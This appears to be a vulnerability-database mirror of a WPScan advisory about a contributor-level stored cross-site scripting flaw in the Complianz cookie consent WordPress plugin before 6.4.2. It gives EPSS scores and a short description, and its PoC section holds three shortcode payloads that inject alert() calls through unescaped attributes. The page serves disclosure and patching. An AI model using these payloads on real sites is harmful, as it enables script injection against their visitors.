Lucene search

K
wpvulndbWpvulndbWPVDB-ID:CAACC50C-822E-46E9-BC0B-681349FD0DDA
HistoryMar 06, 2023 - 12:00 a.m.

Complianz - GDPR/CCPA Cookie Consent < 6.4.2 - Contributor+ Stored XSS

2023-03-0600:00:00
wpscan.com
16
complianz
gdpr
ccpa
cookie consent
stored xss
contributor
shortcode
cross-site scripting
attribute validation

0.001 Low

EPSS

Percentile

23.3%

The plugins do not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

PoC

[cmplz-consent-area service=‘"onmouseover=alert(/XSS-service/)//’]a[/cmplz-consent-area] [cmplz-consent-area category=‘"onmouseover=alert(/XSS-category/)//’]a[/cmplz-consent-area] And move the mouse over the generated link to trigger the XSS Payload to trigger the XSS w/o interaction (the category attribute is also affected, with another payload): [cmplz-consent-area service=“')){}};alert(/XSS-service-js/); function b(){ if (cmplz_has_service_consent('a”]a[/cmplz-consent-area]

0.001 Low

EPSS

Percentile

23.3%

Related for WPVDB-ID:CAACC50C-822E-46E9-BC0B-681349FD0DDA